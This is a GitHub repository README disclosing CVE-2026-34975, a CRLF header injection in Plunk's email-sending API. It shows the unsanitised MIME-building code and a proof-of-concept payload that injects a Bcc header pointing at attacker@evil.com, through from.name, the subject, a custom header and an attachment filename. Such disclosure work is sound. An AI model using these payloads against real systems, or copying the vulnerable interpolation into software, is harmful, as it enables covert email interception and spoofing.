Skip to content

romain-deperne/CVE-2026-34975

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

CVE-2026-34975 — CRLF Email Header Injection in Plunk via raw MIME construction

Severity: High (CVSS 8.5) CWE: CWE-93 — Improper Neutralization of CRLF Sequences ('CRLF Injection') Affected: useplunk/plunk (all versions prior to fix) Advisory: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975

TL;DR

Plunk's POST /v1/send endpoint constructs a raw MIME email message by interpolating user-supplied fields (from.name, subject, custom headers, attachment filenames) directly into a template string without CRLF (\r\n) sanitization. An authenticated API user can inject arbitrary email headers — including Bcc — to silently redirect email copies to attacker-controlled addresses.

How I found this

I was auditing open-source email sending platforms — anything that wraps AWS SES and exposes an API. Plunk is positioned as a developer-friendly alternative to SendGrid/Postmark, built on SES.

My entry point was the raw email construction function. Whenever I see rawMessage += or template literals building MIME, I check whether every user-supplied field is CRLF-sanitized. In SESService.ts, the answer was clearly no: from.name, subject, custom headers, and attachment filenames were all interpolated directly.

What confirmed this as exploitable: the Zod schema (packages/shared/src/schemas/index.ts) had no .regex() or .refine() rejecting \r\n on any of those fields. No sanitization at the schema layer, no sanitization at the MIME construction layer — clean path from API input to injected MIME header.

I tested all four vectors (from.name, subject, custom header value, attachment filename) and confirmed Bcc: injection works. Any authenticated API user with a verified sender domain can silently copy every outgoing email to an attacker-controlled address. The realistic attack scenario is a compromised API key turning into a persistent email intercept.

Affected component

File: apps/api/src/services/SESService.ts, lines 137–151

// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value not sanitized
}

// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized

Zod schema (packages/shared/src/schemas/index.ts) — no CRLF validation:

headers: z.record(z.string().max(998)).optional()   // no \r\n check
from: { name: z.string().optional() }               // no \r\n check
subject: z.string().min(1).max(998)                 // no \r\n check
filename: z.string().min(1).max(255)                // no \r\n check

Root cause

Raw MIME construction requires that every user-supplied value be stripped of \r\n before interpolation. Plunk builds the message with template literals and does not sanitize any of the four injectable fields. SMTP parsers interpret \r\n as a header boundary, so injecting \r\nBcc: attacker@evil.com into from.name adds a real Bcc header to the outgoing message.

PoC

See poc.py for a full demonstration with four injection vectors.

Core payload — Bcc injection via from.name:

payload = {
    "to": "victim@example.com",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: attacker@evil.com",
        "email": "verified@yourdomain.com",
    },
}

Raw MIME produced by SES:

From: Legit Sender
Bcc: attacker@evil.com <verified@yourdomain.com>
To: victim@example.com
Subject: Legit email

SES delivers a silent copy to attacker@evil.com with every email sent through the compromised API key.

Other injection vectors:

  • subject: "Legit Subject\r\nBcc: attacker@evil.com"
  • Custom header value: {"X-Custom": "value\r\nBcc: attacker@evil.com"}
  • Attachment filename: MIME boundary injection

Impact

  1. Silent email redirection — BCC any outgoing email to an attacker-controlled address
  2. Email spoofing — override Reply-To, Return-Path, Sender headers
  3. MIME structure corruption — inject arbitrary MIME parts via attachment filename
  4. Requires only a valid Plunk API key and a verified sender domain — standard authenticated access

Timeline

  • Discovery: 2026-03-xx
  • Reported: GHSA private advisory
  • CVE published: CVE-2026-34975

About

CRLF Email Header Injection in Plunk via raw MIME construction — CVSS 8.5

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages